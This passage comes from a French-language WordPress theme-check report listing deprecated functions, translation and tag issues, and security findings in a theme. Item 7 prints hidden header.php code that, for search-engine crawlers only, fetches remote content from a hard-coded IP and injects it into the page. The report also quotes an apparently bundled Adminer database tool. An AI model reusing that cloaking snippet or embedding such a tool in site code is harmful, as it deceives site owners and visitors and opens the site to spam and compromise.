href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sql.gz'),'rb');$H=($Sc?fread($Sc,1e6):false);}else$H=get_file('sql_file',true);if(is_string($H)){ifread trouvé dans le fichier adm.php. 1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sql.gz'),'rb');$H=($Sc?fread($Sc,1e6):false);}else$H=get_file('sql_file',true);if(is_string($H)){ifread trouvé dans le fichier adm.php. 1598: as$x=>$X){if($x!=''&&$X>1){echo($Kc?'<p>':' ').'<a href=''.h(ME).'dump='.urlencode('$x%').''>'.h($x).'</a>';$Kc=false;}}}elseif(isset($_GET['privileges'])){page_header(lang(63));$I=$h->query('SELECT User, Host FROM mysql.'.(DB==''?'user':'db WHERE '.q(DB).' LIKE Db').' ORDER BY Host, User');$Vc=$I;if(!$I)$I=$h->query('SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host');echo'<form action=''><p>\n';hidden_fields_get();echo'<input type='hidden' name='db' value=''.h(DB).''>\n',($Vc?'':'<input type='hidden' name='grant' value=''>\n'),'<table cellspacing='0'>\n','<thead><tr><th>'.lang(33).'<th>'.lang(32).'<th>&nbsp;</thead>\n';while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K['User']).'<td>'.h($K['Host']).'<td><a href=''.h(ME.'user='.urlencode($K['User']).'&host='.urlencode($K['Host'])).''>'.lang(10).'</a>\n';if(!$Vc||DB!='')echo'<tr'.odd().'><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value=''.lang(10).''>\n';echo'</table>\n','</form>\n','<p class='links'><a href=''.h(ME).'user='>'.lang(135).'</a>';}elseif(isset($_GET['sql'])){if(!$n&&$_POST['export']){dump_headers('sql');$b->dumpTable('','');$b->dumpData('','table',$_POST['query']);exit;}restart_session();$fd=&get_session('queries');$ed=&$fd[DB];if(!$n&&$_POST['clear']){$ed=array();redirect(remove_from_uri('history'));}page_header((isset($_GET['import'])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET['import']))$H=$_POST['query'];elseif($_POST['webfile']){$Sc=@fopen((file_exists('adminer.sql')?'adminer.sql':'compress.zlib://adminer.sql.gz'),'rb');$H=($Sc?fread($Sc,1e6):false);}else$H=get_file('sql_file',true);if(is_string($H)){i
  7. Code malveillant : Opérations réseau curl_init trouvé dans le fichier header.php. 1: <?php $botbotbot = '...'.mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(' ', '-', $botbotbot);if ((strpos($botbotbot,'google')) OR (strpos($botbotbot,'bing')) OR (strpos($botbotbot,'yahoo'))){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, 'http:curl_exec trouvé dans le fichier header.php. 1: <?php $botbotbot = '...'.mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(' ', '-', $botbotbot);if ((strpos($botbotbot,'google')) OR (strpos($botbotbot,'bing')) OR (strpos($botbotbot,'yahoo'))){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, 'http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]'); $result = curl_exec($ch); curl_close ($ch); echo $result;}?><!DOCTYPE html>
  8. Constantes inappropriées : Utilisation de TEMPLATEPATH La constante TEMPLATEPATH a été trouvée dans le fichier content-importer.php. get_template_directory() doit être utilisé à la place. 2: include( TEMPLATEPATH . '/content/widgets-importer.php' );3: include( TEMPLATEPATH . '/content/content-parser.php' );25: $parser = new Theme_Content_Parser(TEMPLATEPATH . '/content/content.xml');276: $images_dir = TEMPLATEPATH . '/content/images';329: if (!get_option('theme_content_import') && file_exists(TEMPLATEPATH . '/content/content.xml')) {La constante TEMPLATEPATH a été trouvée dans le fichier functions.php. get_template_directory() doit être utilisé à la place. 10: load_theme_textdomain(THEME_NS, TEMPLATEPATH . THEME_LANGS_FOLDER);64: if (is_file(TEMPLATEPATH . '/favicon.ico')):151: if (file_exists(TEMPLATEPATH . '/content/content-importer.php')) {152: include(TEMPLATEPATH . '/content/content-importer.php');
  9. Largeur de la page : Définition correcte de content_width Aucune largeur de contenu a été définie. Exemple:
    if ( ! isset ($content_width) ) $content_width = 900;
  10. Fonctions obsolètes : js_escape js_escape trouvé dans le fichier adm.php . Obsolète depuis la version de la 2.8. Il est prérable d'utiliser esc_js() à la place. 43: js_escape($P){return112: as$x=>$X){if($x===''||!$X)break;$Kc++;}$Oe=($Kc?' onchange=\'var f = this.form['function['.h(js_escape(bracket_escape($o['field']))).']']; if ($Kc > f.selectedIndex) f.142: ajax(\'',js_escape(ME),'script=kill\', function () {1424: as$Q=>$U)$Zd[]=preg_quote($Q,'/');echo'var jushLinks = { $w: [ ''.js_escape(ME).(support('table')?'table=':'select=').'\$&', /\\b('.implode('1450: js_escape(lang(71)),'\';1546: connect_error(){global$b,$h,$T,$n,$Xb;if(DB!=''){header('HTTP/1.1 404 Not Found');page_header(lang(35).': '.h(DB),lang(101),true);}else{if($_POST['db']&&!$n)queries_redirect(substr(ME,0,-1),lang(102),drop_databases($_POST['db']));page_header(lang(103),$n,false);echo'<p class='links'>\n';foreach(array('database'=>lang(104),'privileges'=>lang(63),'processlist'=>lang(105),'variables'=>lang(106),'status'=>lang(107),)as$x=>$X){if(support($x))echo'<a href=''.h(ME).'$x='>$X</a>\n';}echo'<p>'.lang(108,$Xb[DRIVER],'<b>'.h($h->server_info).'</b>','<b>$h->extension</b>').'\n','<p>'.lang(109,'<b>'.h(logged_user()).'</b>').'\n';$l=$b->databases();if($l){$pg=support('scheme');$nb=collations();echo'<form action='' method='post'>\n','<table cellspacing='0' class='checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n','<thead><tr>'.(support('database')?'<td>&nbsp;':'').'<th>'.lang(35).' - <a href=''.h(ME).'refresh=1'>'.lang(110).'</a>'.'<td>'.lang(111).'<td>'.lang(112).'<td>'.lang(113).' - <a href=''.h(ME).'dbsize=1' onclick=\'return !ajaxSetHtml(''.js_escape(ME).'script=connect');\'>'.lang(114).'</a>'.'</thead>\n';$l=($_GE1556: as$s=>$B){$Vg[$B[1]]=array($B[2],$B[3]);$Wg[]='\n\t''.js_escape($B[1]).'': [ $B[2], $B[3] ]';}$rh=0;$Qa=-1;$og=array();$Wf=array(1562: schemaMouseup(ev, \'',js_escape(DB),'\');1593: echo'$Ef<td align='right'><label class='block'><span id='Rows-'.h($C).''></span>'.checkbox('data[]',$C,$db,'','checkboxClick(event, this); formUncheck('check-data');').'</label>\n';$Bf[$Af]++;}echo$Yh;if($Yg)echo'<script type='text/javascript'>ajaxSetHtml(''.js_escape(ME).'script=db');</script>\n';}else{echo'<thead><tr><th style='te1646: select_input(' disabled',$p,$e),'<label><input disabled type='checkbox'>'.lang(50).'</label> ';}echo'<td><td>\n';}$Fd=1;foreach($K['indexes']as$u){if(!$_POST['drop_col']||$Fd!=key($_POST['drop_col'])){echo'<tr><td>'.html_select('indexes[$Fd][type]',array(-1=>'')+$pd,$u['type'],($Fd==count($K['indexes'])?'indexesAddRow(this);':1)),'<td>';ksort($u['columns']);$s=1;foreach($u['columns']as$x=>$e){echo'<span>'.select_input(' name='indexes[$Fd][columns][$s]' onchange=\''.($s==count($u['columns'])?'indexesAddColumn':'indexesChangeColumn').'(this, ''.js_escape($w=='sql'?'':$_GET['indexes'].'_').'');\'',($p?array_combine($p,$1739: <tr><th>',lang(224),'<td>',html_select('Timing',$yh['Timing'],$K['Timing'],'triggerChange(/^'.preg_quote($a,'/').'_[ba][iud]$/, ''.js_escape($a).'', this.form);'),'<tr><th>',lang(225),'<td>',html_select('Ev1782: apply_sql_function($X['fun'],$C).'</a>';echo'<span class='column hidden'>','<a href=''.h($id.$Ob).'' title=''.lang(50).'' class='text'> ↓</a>';if(!$X['fun'])echo'<a href='#fieldset-search' onclick='selectSearch(\''.h(js_escape($x)).'\'); return false;' title=''.lang(47).'' class='text jsonly1805: as$K){echo'<tr>','<th>'.h($K['Name']),'<td>'.($K['Execute at']?lang(276).'<td>'.$K['Execute at']:lang(200).' '.$K['Interval value'].' '.$K['Interval field'].'<td>$K[Starts]'),'<td>$K[Ends]','<td><a href=''.h(ME).'event='.urlencode($K['Name']).''>'.lang(125).'</a>';}echo'</table>\n';$tc=$h->result('SELECT @@event_scheduler');if($tc&&$tc!='ON')echo'<p class='error'><code class='jush-sqlset'>event_scheduler</code>: '.h($tc).'\n';}echo'<p class='links'><a href=''.h(ME).'event='>'.lang(197).'</a>\n';}if($Yg)echo'<script type='text/javascript'>ajaxSetHtml(''.js_escape(ME).'script=db');</script>\n';}}}page_footer();
  11. Fonctions obsolètes : get_bloginfo get_bloginfo("wpurl") trouvé dans le fichier smiley.php. Il est préférable d'utiliser site_url(). 84: $result .= '<a href='javascript:grin(\'' . $tag . '\')'><img class='wp-smiley' src='' . get_bloginfo('wpurl') . '/wp-includes/images/smilies/' . $icon . '' alt='' get_bloginfo('wpurl') trouvé dans le fichier widgets.php. Il est préférable d'utiliser site_url(). 204: echo theme_get_avatar(array('id' => $user_email, 'size' => 64, 'url' => get_bloginfo('wpurl') . '/wp-admin/profile.php'));
  12. Fonctions obsolètes : bloginfo bloginfo('url') trouvé dans le fichier searchform.php. Il est préférable d'utiliser echo esc_url( home_url() ). 1: <form class='art-search' method='get' name='searchform' action='<?php bloginfo('url'); ?>/'>bloginfo('template_directory') trouvé dans le fichier functions.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 65: ?><link rel='shortcut icon' href='<?php bloginfo('template_directory'); ?>/favicon.ico' /><?phpbloginfo('wpurl') trouvé dans le fichier widgets.php. Il est préférable d'utiliser echo esc_url( site_url() ). 204: echo theme_get_avatar(array('id' => $user_email, 'size' => 64, 'url' => get_bloginfo('wpurl') . '/wp-admin/profile.php'));207: <li><a href='<?php bloginfo('wpurl') ?>/wp-admin/'><?php _e('Dashboard', THEME_NS); ?></a></li209: <li><a href='<?php bloginfo('wpurl') ?>/wp-admin/post-new.php'><?php _e('Publish', THEME_NS); 210: <li><a href='<?php bloginfo('wpurl') ?>/wp-admin/edit-comments.php'><?php _e('Comments', THEME219: <form action='<?php bloginfo('wpurl') ?>/wp-login.php' method='post' name='login' id='form-logi241: <li><a href='<?php bloginfo('wpurl') ?>/wp-register.php'><?php _e('Register', THEME_NS); ?></a243: <li><a href='<?php bloginfo('wpurl') ?>/wp-login.php?action=lostpassword'><?php _e('Lost your
  13. Fonctions obsolètes : get_option get_option('home') trouvé dans le fichier navigation.php. Il est préférable d'utiliser home_url(). 174: $href = (($frontID && $frontID == $id) ? get_option('home') : get_page_link($id));get_option( 'home' ) trouvé dans le fichier defaults.php. Il est préférable d'utiliser home_url(). 9: 'theme_header_link' => trailingslashit( get_option( 'home' ) ),
Attention
  1. Script de core désabonné : Désabonnement d'un script de coreAppel à wp_deregister_script dans functions.php. Les thèmes ne doivent appeler wp_deregister_script sur des scripts du core. 170: wp_deregister_script('jquery');
  2. tags du thème : Présence de tags inconnusLe tag fixed-width est obsolète, il ne doit pas figurer dans le header de style.css.Tag inconnu valid HTML5 trouvé dans l'entête du fichier style.css.Tag inconnu valid XHTML trouvé dans l'entête du fichier style.css.Tag inconnu widgets trouvé dans l'entête du fichier style.css.
  3. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Daily Archives: <span>%s</span>' dans le fichier archive.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Monthly Archives: <span>%s</span>' dans le fichier archive.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yearly Archives: <span>%s</span>' dans le fichier archive.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Blog Archives' dans le fichier archive.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Return to %s' dans le fichier content-attachment.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="meta-nav">&larr;</span> %s' dans le fichier content-attachment.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Full size is %s pixels' dans le fichier content-attachment.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Link to full-size image' dans le fichier content-attachment.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Search Results for: %s' dans le fichier search.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Nothing Found' dans le fichier search.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.' dans le fichier search.php.Une fonction de traduction utilisée sans text-domain. Fonction _n, avec les arguments 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.' dans le fichier content-gallery.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_attr__, avec les arguments 'Permalink to %s' dans le fichier content-gallery.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Search' dans le fichier searchform.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'This post is password protected. Enter the password to view any comments.' dans le fichier comments.php.Une fonction de traduction utilisée sans text-domain. Fonction _n, avec les arguments 'One Response to %2$s', '%1$s Responses to %2$s' dans le fichier comments.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="meta-nav">&larr;</span> Older Comments' dans le fichier comments.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Newer Comments <span class="meta-nav">&rarr;</span>' dans le fichier comments.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Do you want to import Content?' dans le fichier content-importer.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Add Content' dans le fichier content-importer.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Replace imported Content' dans le fichier content-importer.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Close' dans le fichier content-importer.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Current theme requires WordPress 3.0 or higher.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Please <a href="%s">upgrade WordPress</a>, or <a href="%s">use an earlier version of Artisteer (2.6 - 3.1)</a> to create themes for WordPress 2.6-2.9.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Current theme requires WordPress 3.0 or higher.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Please <a href="%s">upgrade WordPress</a>, or <a href="%s">use an earlier version of Artisteer (2.6 - 3.1)</a> to create themes for WordPress 2.6-2.9.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Primary Navigation' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Theme Options' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Theme Options' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="%1$s">Published</span> %2$s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="%1$s">By</span> %2$s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'View all posts by %s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="%1$s">Posted in</span> %2$s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="%1$s">Tagged</span> %2$s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Leave a comment' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '1 Comment' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '% Comments' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Edit' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Continue reading <span class="meta-nav">&rarr;</span>' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Pages' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Continue reading <span class="meta-nav">&rarr;</span>' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Not Found' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Apologies, but the page you requested could not be found. Perhaps searching will help.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Newer posts <span class="meta-nav">&rarr;</span>' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<span class="meta-nav">&larr;</span> Older posts' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Previous Post' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Next Post' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%s <span class="says">says:</span>' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Your comment is awaiting moderation.' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%1$s at %2$s' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(Edit)' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Pingback:' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(Edit)' dans le fichier functions.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Pages' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Categories' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Block style' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Post style' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Simple text' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H1>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H2>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H3>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H4>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H5>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<H6>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '<DIV>' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'All pages' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Selected pages' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'All pages except selected' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Header' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show headline' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show slogan' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Make the header clickable' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Header link' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Make the header clickable" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Navigation Menu' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show home item' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Home item caption' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Show home item" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Highlight active categories' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Trim long menu items' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Limit each item to [N] characters' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(characters). Used when "Trim long menu items" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Limit each subitem to [N] characters' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(characters). Used when "Trim long menu items" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Default menu source' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Displayed when Appearance > Menu > Primary menu is not set' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Posts' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show navigation links at the top of front posts page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show navigation links at the top of posts page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show navigation links at the bottom of posts page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show top navigation links in single post view' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show bottom navigation links in single post view' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Trim long navigation links in single post view' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Limit each link to [N] characters' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(characters). Used when "Trim long navigation links in single post view" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Featured Image' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use featured image as thumbnail' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use auto thumbnails' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Generate post thumbnails automatically (use the first image from the post gallery)' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Thumbnail width' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(px)' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Thumbnail height' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(px)' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Excerpt' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use auto excerpts' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Generate post excerpts automatically (When neither more-tag nor post excerpt is used)' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Excerpt length' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(words). Used when "Use auto excerpts" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Excerpt balance' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '(words). Used when "Use auto excerpts" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Apply excerpt tag filter' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Allowed excerpt tags' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Apply excerpt tag filter" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Pages' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show random posts on 404 page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Title for random posts' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Show random posts on 404 page" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Show tags on 404 page' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Title for tags' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Used when "Show tags on 404 page" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Comments' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Allow Comments' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Use smilies in comments' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Yes. Used when "Allow Comments" is enabled' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Sidebars' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Default widgets style' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Primary sidebar' dans le fichier options.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Secondary sidebar' dans le fichier options.php.Une fonction de traduction 